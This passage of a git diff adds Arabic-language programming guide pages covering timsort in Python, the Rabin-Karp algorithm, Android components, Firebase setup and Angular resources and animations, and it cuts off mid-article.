+        if the_array[start] > item: 
+            return start 
+        else: 
+            return start + 1 
+    if start > end: 
+        return start 
+ 
+    mid = round((start + end)/ 2) 
+ 
+    if the_array[mid] < item: 
+        return binary_search(the_array, item, mid + 1, end) 
+ 
+    elif the_array[mid] > item: 
+        return binary_search(the_array, item, start, mid - 1) 
+ 
+    else: 
+        return mid 
+ 
+ """ 
+ Insertion sort that timsort uses if the array size is small or if 
+ the size of the "run" is small 
+ """ 
+ def insertion_sort(the_array): 
+    l = len(the_array) 
+    for index in range(1, l): 
+        value = the_array[index] 
+        pos = binary_search(the_array, value, 0, index - 1) 
+        the_array = the_array[:pos] + [value] + the_array[pos:index] + the_array[index+1:] 
+    return the_array 
+ 
+ def merge(left, right): 
+    """Takes two sorted lists and returns a single sorted list by comparing the 
+    elements one at a time. 
+    [1, 2, 3, 4, 5, 6] 
+    """ 
+    if not left: 
+        return right 
+    if not right: 
+        return left 
+    if left[0] < right[0]: 
+        return [left[0]] + merge(left[1:], right) 
+    return [right[0]] + merge(left, right[1:]) 
+ 
+ def timsort(the_array): 
+    runs, sorted_runs = [], [] 
+    length = len(the_array) 
+    new_run = [the_array[0]] 
+ 
+    # for every i in the range of 1 to length of array 
+    for i in range(1, length): 
+        # if i is at the end of the list 
+        if i == length - 1: 
+            new_run.append(the_array[i]) 
+            runs.append(new_run) 
+            break 
+        # if the i'th element of the array is less than the one before it 
+        if the_array[i] < the_array[i-1]: 
+            # if new_run is set to None (NULL) 
+            if not new_run: 
+                runs.append([the_array[i]]) 
+                new_run.append(the_array[i]) 
+            else: 
+                runs.append(new_run) 
+                new_run = [] 
+        # else if its equal to or more than 
+        else: 
+            new_run.append(the_array[i]) 
+ 
+    # for every item in runs, append it using insertion sort 
+    for item in runs: 
+        sorted_runs.append(insertion_sort(item)) 
+ 
+    # for every run in sorted_runs, merge them 
+    sorted_array = [] 
+    for run in sorted_runs: 
+        sorted_array = merge(sorted_array, run) 
+ 
+    print(sorted_array) 
+ 
+ timsort([2, 3, 1, 5, 6, 7]) 
+` 
+
+#### تعقيد:
+
+يحتوي تيم تيم على تعقيد ثابت لـ O (N log (N)) ويقارن بشكل جيد مع Quicksort. يمكن العثور على مجموعة من التعقيدات في هذا [المخطط](https://cdn-images-1.medium.com/max/1600/1*1CkG3c4mZGswDShAV9eHbQ.png)
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Timsort)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/timsort/)
+    
+*   [يوتيوب: شرح بصري من Quicksort](https://www.youtube.com/watch?v=jVXsjswWo44)
+    
+
+#### ائتمانات:
+
+[بايثون التنفيذ](https://hackernoon.com/timsort-the-fastest-sorting-algorithm-youve-never-heard-of-36b28417f399)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md b/client/src/guide/arabic/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
new file mode 100644
index 0000000000..3991d9f65f
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
@@ -0,0 +1,46 @@
+---
+title: Rabin Karp Algorithm
+localeTitle: خوارزمية رابين كارب
+---
+## خوارزمية رابين كارب
+
+*   خوارزمية مطابقة / بحث عن الخوارزمية طورها مايكل رابين وريتشارد م. كارب.
+*   يستخدم تقنية **_التجزئة_** و **_القوة الغاشمة_** للمقارنة.
+
+#### شروط مهمة
+
+*   **_النمط_** هو السلسلة المراد البحث عنها. النظر في طول نمط كأحرف **_M._**
+*   **_النص_** هو **_النص_** الكامل الذي سيتم البحث عن النمط منه. النظر في طول النص كأحرف **_N._**
+
+#### ما هي القوة الغاشمة المقارنة؟
+
+في مقارنة القوة الغاشمة يتم مقارنة كل حرف للنمط مع كل حرف من النص حتى يتم العثور على أحرف غير متطابقة.
+
+#### العمل من خوارزمية رابين كارب
+
+1.  حساب قيمة التجزئة _للنمط_
+2.  حساب قيمة التجزئة من الشخصيات _M_ الأولى من _النص_
+3.  قارن بين قيم التجزئة
+4.  إذا كانت غير متساوية ، قم بحساب قيمة التجزئة للأحرف _M_ _للنص التالي_ وقارن مرة أخرى.
+5.  إذا كانوا متساوين ، قم بإجراء مقارنة القوة الغاشمة.
+
+ `hash_p = hash value of pattern 
+ hash_t = hash value of first M letters in body of text 
+ do 
+    if (hash_p == hash_t) 
+        brute force comparison of pattern and selected section of text 
+    hash_t= hash value of next section of text, one character over 
+ while (end of text or brute force comparison == true) 
+` 
+
+#### ميزة أكثر من خوارزمية مطابقة سلسلة ناييف
+
+ينتج عن هذه التقنية مقارنة واحدة فقط لكل تسلسل فرعي للنص ، وتكون القوة الغاشمة مطلوبة فقط عندما تتطابق قيم هاش.
+
+#### تطبيقات
+
+*   **_كشف الانتحال_**
+
+#### معلومات اكثر:
+
+[رابين كارب على ويكيبيديا](https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/android-development/core-components/index.md b/client/src/guide/arabic/android-development/core-components/index.md
new file mode 100644
index 0000000000..109ba86668
--- /dev/null
+++ b/client/src/guide/arabic/android-development/core-components/index.md
@@ -0,0 +1,32 @@
+---
+title: Android core components
+localeTitle: مكونات Android الأساسية
+---
# مكونات Android الأساسية
+
+المكونات الأساسية هي العناصر الأساسية التي يتكون منها تطبيق Android. كل واحد منهم لديه غرضه الخاص ودورة حياته ولكن ليست كلها مستقلة. هم انهم:
+
+*   أنشطة
+*   خدمات
+*   مستقبلات البث
+*   موفري المحتوى
+
+## [أنشطة](https://developer.android.com/guide/components/activities/)
+
+_النشاط_ هو مكون يحتوي على واجهة مستخدم ويمثل شاشة واحدة. يمكن أن يكون للتطبيق أنشطة متعددة ، يمكن أن يكون كل منها نقطة دخول إلى التطبيق نفسه للمستخدم أو للنظام (نشاط التطبيق الذي يريد فتح نشاط آخر ينتمي إلى التطبيق نفسه أو إلى نشاط آخر).
+
+## [خدمات](https://developer.android.com/guide/components/services)
+
+_الخدمة_ عبارة عن مكون بدون واجهة مستخدم لإجراء عمليات تشغيل طويلة في الخلفية. هناك نوعان من الخدمات:
+
+*   الخدمات _الأمامية_ : ترتبط ارتباطًا وثيقًا بتفاعل المستخدم (على سبيل المثال تشغيل الموسيقى) ، لذلك من الصعب على النظام قتلهم.
+*   خدمات _خلفية_ : لا ترتبط مباشرة بأنشطة المستخدم ، لذا يمكن قتلهم إذا كانت هناك حاجة إلى المزيد من ذاكرة الوصول العشوائي.
+
+## [مستقبلات البث](https://developer.android.com/guide/components/broadcasts)
+
+_جهاز استقبال البث_ هو مكون آخر بدون واجهة مستخدم (باستثناء إخطار شريط الحالة الاختياري) الذي يسمح للنظام بتسليم الأحداث من / إلى التطبيق ، حتى عندما لم يتم إطلاق هذا الأخير من قبل.
+
+## [موفري المحتوى](https://developer.android.com/guide/topics/providers/content-providers)
+
+_موفر المحتوى_ هو أحد المكونات المستخدمة لإدارة مجموعة من بيانات التطبيق لمشاركتها مع التطبيقات الأخرى. يتم تحديد كل عنصر يتم حفظه في موفر المحتوى من خلال مخطط URI.
+
+للحصول على معلومات مفصلة حول الموضوع ، راجع وثائق [أساسيات Android](https://developer.android.com/guide/components/fundamentals) الرسمية
\ No newline at end of file
diff --git a/client/src/guide/arabic/android-development/firebase/connect-to-firebase/index.md b/client/src/guide/arabic/android-development/firebase/connect-to-firebase/index.md
new file mode 100644
index 0000000000..e58972e2da
--- /dev/null
+++ b/client/src/guide/arabic/android-development/firebase/connect-to-firebase/index.md
@@ -0,0 +1,39 @@
+---
+title: connecting-to-firebase
+localeTitle: التي تربط إلى firebase
+---
+# المتطلبات الأساسية
+
+1.  أحدث إصدار من Android Studio
+
+أسهل طريقة للاتصال بـ firebase هي استخدام مساعد firebase.
+
+# 1\. الاتصال باستخدام مساعد Firebase
+
+1.  أنشئ حسابًا في [وحدة تحكم Firebase](https://console.firebase.google.com) . انقر على إضافة مشروع لإضافة مشروع Android Studio إليه.
+    
+2.  قم بتثبيت Google Repository يمكنك القيام بذلك عن طريق إضافة التبعية إلى ملف build.gradle على مستوى المشروع كما يلي:
+    
+
+ `allprojects{ 
+  repositories { 
+        maven { 
+            url "https://maven.google.com" // Google's Maven repository 
+        } 
+    } 
+ } 
+` 
+
+بدلا من ذلك ، يمكنك القيام بذلك [باستخدام واجهة المستخدم الرسومية](https://developer.android.com/studio/write/firebase) .
+
+3.  انتقل إلى أدوات> Firebase وحدد الاتصال بـ Firebase
+
+إذا كنت ترغب في الاتصال بـ firebase يدويًا ، تتوفر [هنا](https://firebase.google.com/docs/android/setup) تعليمات مفصلة. بعد ربط مشروع Android Studio بـ Firebase ، يمكنك ذلك أيضًا
+
+1.  انقر على أحد المنتجات في مساعد firebase ، ثم انتقل إلى مستندات Google حيث سيتم إبلاغك بكيفية المتابعة
+2.  انتقل إلى المنتج المطلوب في **"نظرة عامة على المشروع"** في "وحدة التحكم" وانقر فوق " **البدء"**
+3.  انتقل إلى [مستندات Firebase](https://www.firebase.com/docs/android/quickstart.html) للاطلاع على كيفية إعداد المنتجات الفردية في مشروعك
+
+ستتيح لك قراءة مجموعة من الثلاثة إعداد المنتج ، والذي يتضمن إضافة تبعيات مناسبة لملف build.gradle الخاص بك.
+
+**إذا كنت تواجه Retdle Gradle** حاول تغيير إصدار Firebase-core أو إصدار قاعدة بيانات Firebase
\ No newline at end of file
diff --git a/client/src/guide/arabic/android-development/firebase/firebase-storage/setup/index.md b/client/src/guide/arabic/android-development/firebase/firebase-storage/setup/index.md
new file mode 100644
index 0000000000..adeef56500
--- /dev/null
+++ b/client/src/guide/arabic/android-development/firebase/firebase-storage/setup/index.md
@@ -0,0 +1,50 @@
+---
+title: Setting up Firebase Storage
+localeTitle: إعداد Firebase Storage
+---
+# إعداد Firebase Storage
+
+## المتطلبات الأساسية
+
+1.  أحدث إصدار من Android Studio
+2.  لديك اتصال بـ Firebase يدويًا أو عبر مساعد Firebase (راجع [الاتصال بـ Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ).
+
+من المستحسن أن تفعل هذا حتى لا يتم الخلط بينك وبين تعليمات جزئية متعلقة بهذا في المستندات المذكورة أدناه.
+
+## إعداده مع Android Studio
+
+بعد إضافة Firebase إلى مشروعك ، ستحتاج إلى إضافة تبعيات إضافية والقيام ببعض الأمور الأخرى من أجل الإعداد تخزين Firebase. هناك وثائق التالية عن هذا:
+
+*   [Firebase](https://firebase.google.com/docs/storage/android/start)
+
+قد تكون هناك احتمالية للارتباك في هذه الوثائق أو إذا كنت جديدًا في Firebase ، فقد تواجه صعوبة في فهمه. لذلك اتبع الخطوات belows بعناية:
+
+**إضافة التبعيات Gradle**
+
+في ملف build.gradle على مستوى التطبيق ، أضف ما يلي
+
+ `dependencies { 
+    implementation 'com.google.firebase:firebase-storage:16.0.2' 
+ } 
+` 
+
+## تثبيت Firebase Android SDK والأذونات ورمز الإعداد
+
+يمكن الاطلاع على تعليمات مفصلة عن هذه [هنا](https://firebase.google.com/docs/android/setup) .
+
+## مصادر
+
+للتعرف على كيفية القراءة من التخزين في تطبيق Android وكتابته ، راجع المستندات المُدرجة أدناه.
+
+*   [تحميل الملفات من Android دليل Firebase](https://firebase.google.com/docs/storage/android/upload-files)
+    
+*   [قم بتنزيل الملفات على Android دليل Firebase](https://firebase.google.com/docs/storage/android/download-files)
+    
+
+## مشاريع نموذجية من مطوري Firebase
+
+يمكنك متابعة هذه العينات من مطوري Firebase للبدء في تخزين Firebase Firebase Quickstart-Android [android-sample](https://github.com/firebase/quickstart-android/tree/master/storage)
+
+## ملحوظة
+
+لقد أوقفت Google الآن عملية "الترجمة" وبدلاً من ذلك تحتاج إلى استخدام "التنفيذ".
\ No newline at end of file
diff --git a/client/src/guide/arabic/android-development/firebase/realtime-database/setup/index.md b/client/src/guide/arabic/android-development/firebase/realtime-database/setup/index.md
new file mode 100644
index 0000000000..9f90aa01ed
--- /dev/null
+++ b/client/src/guide/arabic/android-development/firebase/realtime-database/setup/index.md
@@ -0,0 +1,42 @@
+---
+title: Setting up Firebase Realtime Database
+localeTitle: إعداد قاعدة بيانات Firebase في الوقت الفعلي
+---
+# المتطلبات الأساسية
+
+1.  أحدث إصدار من Android Studio
+2.  لديك اتصال بـ Firebase يدويًا أو عبر مساعد Firebase (راجع [الاتصال بـ Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ). من المستحسن أن تفعل هذا حتى لا يتم الخلط بينك وبين تعليمات جزئية متعلقة بهذا في المستندات المذكورة أدناه.
+
+# إعداده مع Android Studio
+
+بعد إضافة Firebase إلى مشروعك ، ستحتاج إلى إضافة تبعيات إضافية والقيام ببعض الأمور الأخرى من أجل الإعداد قاعدة بيانات الوقت الفعلي. هناك نوعان من الوثائق حول هذا:
+
+1.  Firebase quickstart [docs](https://www.firebase.com/docs/android/quickstart.html)
+2.  [مستندات](https://firebase.google.com/docs/database/android/start/) جوجل
+
+هناك بعض التناقضات بين الاثنين. للتعويض عنهم ، يمكنك متابعة مستندات Firebase ، ولكن بدلاً من استخدام تبعيات gradle المدرجة هناك ، استخدم القائمة التالية. بهذه الطريقة ، لن تفوتك أي خطوات من أي من الوثائق.
+
+**إضافة التبعيات Gradle** 1 في ملف build.gradle على مستوى التطبيق ، أضف ما يلي
+
+ `dependencies { 
+    implementation 'com.firebase:firebase-client-android:2.5.2+' 
+    implementation 'com.google.firebase:firebase-database:15.0.0' 
+ } 
+` 
+
+# تثبيت Firebase Android SDK والأذونات ورمز الإعداد
+
+يمكن الاطلاع على تعليمات مفصلة عن هذه [هنا](https://www.firebase.com/docs/android/quickstart.html) .
+
+# مصادر
+
+للتعرف على كيفية القراءة والكتابة إلى قاعدة البيانات في تطبيق Android ، راجع المستندين المدرجين في المراجع. يمكنك أيضًا معرفة كيفية استخدام منتجات Firebase في مستندات Google ، ولكن مرة أخرى ، قد يكون من المفيد أيضًا الاطلاع على مستندات Firebase أيضًا ، أو أي شيء قد يكون مفيدًا.
+
+# المراجع
+
+*   FIREBASE ، _Android Quickstart_ ، 17/04/2018 ، 07/05/2018 ، https://www.firebase.com/docs/android/quickstart.html
+*   GOOGLE ، _إعداد قاعدة بيانات Firebase للوقت الفعلي للأندرويد_ ، 05/04/2018 ، 07/05/2018 ، https://firebase.google.com/docs/database/android/start/
+
+# حاشية
+
+يأتي السطر الأول من [مستندات](https://www.firebase.com/docs/android/quickstart.html) Firebase لإعداد إعداد الوقت الحقيقي في Android Studio. في المستندات ، يتم استخدام "الترجمة" ولكن تم إيقافها واستبدالها بـ "تنفيذ". يأتي السطر الثاني من [مستندات](https://firebase.google.com/docs/database/android/start/) Google حول إعداد حساب الوقت الحقيقي في Android Studio. إذا كان في الواقع زائدة عن الحاجة لإضافة كليهما ، فيرجى تصحيح هذه المقالة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/android-development/index.md b/client/src/guide/arabic/android-development/index.md
new file mode 100644
index 0000000000..93a794160a
--- /dev/null
+++ b/client/src/guide/arabic/android-development/index.md
@@ -0,0 +1,63 @@
+---
+title: Android Development
+localeTitle: تطوير اندرويد
+---
+# تطوير اندرويد
+
+يمكن أن تكون تطبيقات Android طريقة رائعة وممتعة للدخول إلى عالم البرمجة. يمكن للمبرمجين رسميًا استخدام Java أو Kotlin أو C ++ للتطوير لنظام Android ، وعلى الرغم من وجود قيود واجهة برمجة التطبيقات ، باستخدام الأدوات ، يمكن للمطورين استخدام عدد كبير من اللغات ، بما في ذلك JavaScript ، C ، أو التجميع ، والإمكانيات لا حصر لها.
+
+بدءًا من الألعاب البسيطة وتطبيقات المساعدة إلى مشغلات الموسيقى الكاملة ، هناك العديد من الفرص لإنشاء شيء ذي معنى باستخدام Android. ينتشر مجتمع مطوري برامج Android على نطاق واسع ، ويسهل العثور على الوثائق والموارد عبر الإنترنت ، حتى تتمكن من معالجة أي مشكلة تواجهك.
+
+هناك بالتأكيد منحنى التعلم للتعود على إطار Android ، ولكن بمجرد فهم المكونات الأساسية التي تشكل التطبيق ، سيأتي الباقي بشكل طبيعي.
+
+يحتوي منحنى التعلم المتضمن في Android على منحدر أصغر نسبيًا مقارنة بتعلم تقنيات أخرى مثل NodeJS. كما يسهل الفهم نسبيًا ويساهم في خطة AOSP التي تستضيفها Google. يمكن العثور على المشروع [هنا](https://source.android.com/)
+
+## ابدء
+
+راجع الأدلة الموجودة في هذا المجلد للتعرف على [المكونات الأساسية](core-components/index.md) الأربعة التي تشكل أحد تطبيقات Android وكيفية البدء في تطبيق نموذج ، ومن ثم الخوض في الموضوعات الأكثر تقدمًا مثل الأجزاء ونظام إنشاء Gradle. ثم تحقق من دليل مواصفات التصميم المادي أيضًا لمعرفة كيفية جعل تطبيقاتك جميلة وسهلة الاستخدام.
+
+### الإعداد وبدء التشغيل باستخدام Android Studio
+
+الذهاب إلى هذا [الرابط](https://www.oracle.com/technetwork/java/javase/downloads/index.html) وتثبيت أحدث JDK. الآن قم بتنزيل حزمة أدوات Android Studio و SDK من [هنا](https://developer.android.com/studio/) . ثبّت Android Studio و SDK بعد الإعداد. تابع ملاحظة موقع SDK. إذا واجهت أي خطأ ، فانتقل إلى الإعدادات لاحقًا لحلها.
+
+أخيرًا ، تعلم كيفية دمج مكتبات الطرف الثالث وخدمات Firebase لإضافة وظائف إلى تطبيقك. سيكون من المفيد إذا كنت تمر الوثائق الرسمية لكل مكون.
+
+### الوثائق الرسمية
+
+[دليل مطوّري برامج Google لأجهزة Android](https://developer.android.com/training/index.html)
+
+#### جاوة مقابل كوتلين
+
+منذ أن أعلنت Google أن Kotlin هي اللغة الرسمية لتطوير Android في Google IO في عام 2017 ، أصبح المبرمجون الذين يريدون أن يصبحوا مطوري برامج Android في مأزق. السؤال الكبير أمامهم هو ما إذا كانوا يجب أن يتعلموا كوتلين أو جافا.
+
+##### يجب أن يبدأ المبتدئين في تطوير Android بجافا
+
+أول شيء هو أن تطوير Android ليس كل شيء ؛ كمبرمج ، قد تبدأ مسيرتك المهنية مع تطوير Android ، ولكن إذا بدأت باستخدام لغة راسخة مثل Java ، فإنك تصبح جزءًا من مجتمع Java الأكبر والسوق ، والذي يعني بشكل مباشر المزيد من فرص العمل.
+
+الشيء الثاني والأكثر أهمية هو وجود مجتمع ضخم من مبرمجي جافا ، مما يعني أنه يمكنك العثور على إجابات عندما تكون عالقاً. هذا أمر مهم للغاية لأنك ، كمبتدئ ، ستواجه الكثير من المشاكل التقنية وقد لا تعرف إلى أين تتجه عندما تكون عالقاً. عندما تبحث في Google عن مشكلة جافا ، فإنك ملزم بالحصول على إجابات ؛ لا يمكن قول الشيء نفسه بالنسبة لكوتلين ، والتي لا تزال لغة برمجة جديدة.
+
+###### مبرمجو جافا يجب أن يتعلموا Kotlin
+
+الآن ، بالعودة إلى المجموعة الثانية من المبرمجين الذين يريدون تعلم تطوير Android: مطوروا جافا من زملائنا. بالنسبة لهم ، أعتقد أنه من الأفضل تعلم Kotlin لأنه يحسن الإنتاجية.
+
+حقا يمكن كتابة الفئة التي تأخذ 50 سطر من الكود في جاوة في سطر واحد فقط في Kotlin. يمكن أن يساعدك ذلك على تجنب كل كود لوحة الغلاية ، على سبيل المثال لا تحتاج إلى تحديد getters و setters ، يساوي () ، hashCode () أو toString () الطرق. يمكن أن يولد Kotlin كل ذلك في حد ذاته.
+
+إذا كنت لا تعرف ، فإن Kotlin تم تطويره بواسطة JetBrains ، الشركة التي تقف وراء واحدة من أشهر معرفات Java ، IntelliJ IDEA. لقد كانوا متجرًا لـ Java وتطوير IDE مثل IntelliJ IDEA و PyCharm و ReSharper ، وكلهم في Java ، وقاموا ببناء Kotlin لتحسين إنتاجيتهم ، ولكن في نفس الوقت ، لا يمكنهم إعادة كتابة كل الرموز الخاصة بهم في Kotlin ، ولهذا السبب جعلوا Kotlin قابل للتشغيل الكامل مع جافا.
+
+لأن Kotlin يولد Java bytecode ، يمكنك استخدام أطر عمل Java المفضلة لديك والمكتبات في Kotlin ويمكن لأصدقائك في Java أيضًا استخدام أي إطار Kotlin تقوم بتطويره.
+
+### ممارسة
+
+[Codelabs لتعزيز المهارات](https://codelabs.developers.google.com)
+
+### Google Developer Console
+
+[Google Developer Console](https://developer.android.com/distribute/console/)
+
+### الدورات
+
+[Udacity الروبوت برنامج Nanodegree](https://udacity.com/course/android-developer-nanodegree-by-google--nd801)
+
+### تطوير تطبيقات Android
+
+أفضل جزء في تعلم Android هو أن الدورات والمواد المتاحة على الإنترنت مجانية. الرابط إلى الدورة التدريبية هنا - [تطوير تطبيقات Android](https://udacity.com/course/new-android-fundamentals--ud851) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/angular-resources/index.md b/client/src/guide/arabic/angular/angular-resources/index.md
new file mode 100644
index 0000000000..30c91ca734
--- /dev/null
+++ b/client/src/guide/arabic/angular/angular-resources/index.md
@@ -0,0 +1,44 @@
+---
+title: Angular Resources
+localeTitle: الموارد الزاوي
+---
+مجموعة من الموارد الزاوي مفيدة
+
+## Angular 1.x
+
+### الصفحات العامة
+
+*   [Angular JS](https://angularjs.org/) - The Angular JS Homepage
+*   [AngularJS Style Guide](https://github.com/johnpapa/angular-styleguide/tree/master/a1) - أفضل الممارسات التفصيلية لتطوير الزاوي
+
+### أشرطة فيديو
+
+*   [التوجيه في JS Angular](https://www.youtube.com/watch?v=5uhZCc0j9RY) - توجيه العميل في 15 دقيقة
+*   [Angular ToDo App](https://www.youtube.com/watch?v=WuiHuZq_cg4) - An Angular ToDo App in 12 minutes
+
+### الدورات
+
+*   [Egghead.io AngularJS دورات ($)](https://egghead.io/browse/frameworks/angularjs)
+
+## الزاوي 2.x +
+
+### الصفحات العامة
+
+*   [Angular](https://angular.io/) - The Angular Homepage
+*   [دليل النمط الزاوي](https://angular.io/guide/styleguide) - أفضل الممارسات التفصيلية لتطوير الزاوي
+
+### صفحات محددة الموضوع
+
+*   [توجيهات](http://www.sitepoint.com/practical-guide-angularjs-directives/) - دليل ممتاز الخوض في التفاصيل حول التوجيهات الزاوي (الجزء 1)
+
+### الدورات
+
+*   [Egghead.io دورات الزاوي ($)](https://egghead.io/browse/frameworks/angular)
+*   [FrontendMasters - بناء تطبيقات Awesomer مع الزاوي](https://frontendmasters.com/courses/building-apps-angular)
+*   [في نهاية المطاف الزاوي - تود شعار](https://ultimateangular.com/)
+*   [Angular 6 (Angular 2 سابقا) - الدليل الكامل ($) Maximilian Schwarzmüller](https://www.udemy.com/the-complete-guide-to-angular-2/)
+
+## المدونات
+
+*   [Alligator.io](https://alligator.io/angular/)
+*   [الزاوي في العمق](https://blog.angularindepth.com/tagged/angular)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/animations/index.md b/client/src/guide/arabic/angular/animations/index.md
new file mode 100644
index 0000000000..b51e5671cf
--- /dev/null
+++ b/client/src/guide/arabic/angular/animations/index.md
@@ -0,0 +1,287 @@
+---
+title: Animations
+localeTitle: الرسوم المتحركة
+---
+# الرسوم المتحركة
+
+#### التحفيز
+
+تستخدم مكونات الويب الحديثة بشكل متكرر الرسوم المتحركة. مطوري الأقمشة Cascading Style-sheets (CSS) مع الأدوات اللازمة لإنشاء رسوم متحركة رائعة. نقل الملكية ، الرسوم المتحركة المسماة بشكل فريد ، keyframes متعددة الأجزاء ممكنة مع CSS. الاحتمالات المتحركة لا حصر لها بفضل CSS.
+
+في تطبيق ويب حديث ، تركز الحركة على انتباه المستخدم. تسعى الرسوم المتحركة الجيدة لتوجيه انتباه المستخدم بطريقة مرضية ومثمرة. لا ينبغي أن تكون الرسوم المتحركة مزعجة للمستخدم.
+
+تقدم الرسوم المتحركة تعليقات على شكل حركة. أنها تظهر للمستخدم أن التطبيق يتعامل بنشاط مع طلباتهم. شيء بسيط مثل الضغط على زر المرئي أو محمل عندما يجب تحميل التطبيق يجذب انتباه المستخدم.
+
+تستمر الرسوم المتحركة في التزايد بشكل أكبر في حالة Angular. تطور Google Angular مع الترويج لفلسفة التصميم متعدد الأبعاد. وتشجع واجهات المستخدم موجزة (UI) تستكمل مع ردود فعل المستخدم الرسوم المتحركة. يجعل التطبيقات على شبكة الإنترنت يشعر إلى حد ما على قيد الحياة وممتعة للاستخدام.
+
+يقوم مجتمع Angular بتطوير مكتبة القطعة الأساسية المسماة [Material2](https://github.com/angular/material2) . يضيف هذا المشروع مجموعة متنوعة من وحدات الواجهة إلى Angular. معظمها ميزة الرسوم المتحركة. لفهم كيفية عملها ، توصي هذه المقالة بدراسة رسوم CSS المتحركة قبل القراءة.
+
+الرسوم المتحركة الزاوالية هي النسخة المبسطة لإطار العمل الذي يوفره CSS أصلاً. CSS هي التكنولوجيا الأساسية للرسوم المتحركة الزاوي التي تحدث في متصفح الويب. CSS خارج نطاق هذه المقالة بالرغم من ذلك. حان الوقت لمعالجة الرسوم المتحركة الزاوي وجها لوجه.
+
+#### إعداد الرسوم المتحركة
+
+قبل الرسوم المتحركة ، يجب تضمين `BrowserAnimationsModule` في مصفوفة واردات وحدة الجذر. كان متوفرا من `@angular/platform-browser/animations` . هذا NgModule يضمن الرسوم المتحركة تعمل لمنصة معينة. تفترض هذه المقالة مستعرض الويب القياسي لكل مثال.
+
+تعلن الرسوم المتحركة الزاوية داخل البيانات الوصفية لـ `@Component` . `@Component` فئة لتمييزها كمكون إلى Angular. تحتوي بيانات التعريف الخاصة به على تكوينات المكون بما في ذلك `animations: []` الحقل. يمثل كل عنصر صفيف من هذا الحقل مشغل `AnimationTriggerMetadata` ( `AnimationTriggerMetadata` ).
+
+الرسوم المتحركة حصرية لمكون مضيفهم عبر البيانات الوصفية للمُصممة. يمكن استخدام الرسوم المتحركة فقط في قالب مكون المضيف. الرسوم المتحركة لا ترث لأطفال المكون. هناك عمل سهل حول هذا.
+
+يمكنك دائمًا إنشاء ملف منفصل يصدر صفيفًا. يمكن لأي فئة مكون استيراد هذا الصفيف من أعلى ملف المضيف الخاص به. بعد ذلك ، ينتقل الرمز المميز للمصفوفة المدرج إلى البيانات الوصفية للرسوم المتحركة الخاصة بالمكون. كرر هذه العملية لأي مكونات أخرى تتطلب نفس الصفيف في بياناتها المتحركة.
+
+يتيح لك إسقاط المحتوى تطبيق رسوم متحركة على محتوى DOM للمكون أ (نموذج كائن المستند). يمكن للمكون "ب" الذي يلف هذا المحتوى DOM تقديم المحتويات في قالب خاص به. بمجرد القيام بذلك ، لا تنفي الحركات المكونة من A. يشتمل المكون B على الرسوم المتحركة لـ A من خلال عرض المحتوى.
+
+حسنا. أنت تعرف كيفية إعداد الرسوم المتحركة ومكان إعلانها. التنفيذ هو الخطوة التالية.
+
+#### طرق الرسوم المتحركة
+
+تستخدم الرسوم المتحركة ذات الزوايا سلسلة من استدعاءات الأسلوب التي يمكن استيرادها من `@angular/animations` . يبدأ كل عنصر من عناصر مصفوفة الرسوم المتحركة لـ `@Component` كطريقة واحدة. تتكشف حججها كسلسلة من مكالمات الأسلوب الأعلى. تعرض القائمة التالية بعض الطرق المستخدمة لإنشاء صور متحركة Angular.
+
+*   `trigger(selector: string, AnimationMetadata[])`
+
+إرجاع `AnimationTriggerMetadata`
+
+*   `state(data: string, AnimationStyleMetadata, options?: object)`
+
+إرجاع `AnimationStateMetadata`
+
+*   `style(CSSKeyValues: object)`
+
+إرجاع `AnimationStyleMetadata`
+
+*   `animate(timing: string|number, AnimationStyleMetadata|KeyframesMetadata)`
+
+إرجاع `AnimationAnimateMetadata`
+
+*   `transition(stateChange: string, AnimationMetadata|AnimationMetadata[], options?: object)`
+
+إرجاع `AnimationTransitionMetadata`
+
+في حين أن هناك بالتأكيد [المزيد من الطرق](https://angular.io/api/animations) للاختيار من بينها ، فإن هذه الأساليب الخمسة تتعامل مع الأساسيات. محاولة فهم هذه الأساليب الأساسية كقائمة لا يساعد كثيرا. التوضيحات التي تحدث عن طريق التعداد النقطي متبوعة بمثال سوف يكون لها معنى أفضل.
+
+##### المشغل (محدد: سلسلة ، الرسوم المتحركة \[\])
+
+يقوم أسلوب `trigger(...)` بتغليف عنصر واحد من الرسوم المتحركة داخل مصفوفة الرسوم المتحركة.
+
+`selector: string` الوسيطة الأول للطريقة `selector: string` تتطابق `selector: string` مع سمة العضو `[@selector]` . يعمل مثل توجيه السمة في قالب المكون. وهو يربط عنصر الرسوم المتحركة بالقالب من خلال محدد السمة.
+
+الوسيطة الثانية هي مصفوفة تحتوي على قائمة بطرق الرسوم المتحركة المطبقة. يحتفظ `trigger(...)` بالكلية في صفيف واحد.
+
+##### الحالة (البيانات: السلسلة ، AnimationStyleMetadata ، الخيارات ؟: الكائن)
+
+`state(...)` الحالة النهائية للرسوم المتحركة. فهي تطبق قائمة بخصائص CSS للعنصر المستهدف بعد انتهاء الرسوم المتحركة. هذا هو عنوان CSS للعنصر المتحرك يطابق دقة الصورة المتحركة.
+
+تتطابق الوسيطة الأولى مع قيمة البيانات المرتبطة بربط الرسوم المتحركة. وهذا يعني أن القيمة المنضمة إلى `[@selector]` في القالب تطابق مع الحالة الأولى `state(...)` . تحدد قيمة البيانات الحالة النهائية. يحدد تغيير القيمة وسائل الرسوم المتحركة (انظر `transition(...)` ).
+
+تستضيف الوسيطة الثانية أنماط CSS التي تنطبق على عنصر ما بعد الحركة. يتم تمرير الأنماط من خلال استدعاء `style(...)` وتمريره إلى وسيطة الأنماط المرغوبة ككائن.
+
+تشغل قائمة الخيارات بشكل اختياري الوسيطة الثالثة. يجب أن تظل خيارات `state(...)` الافتراضية `state(...)` دون تغيير ما لم يكن هناك سبب آخر.
+
+##### النمط (CSSKeyValues: الكائن)
+
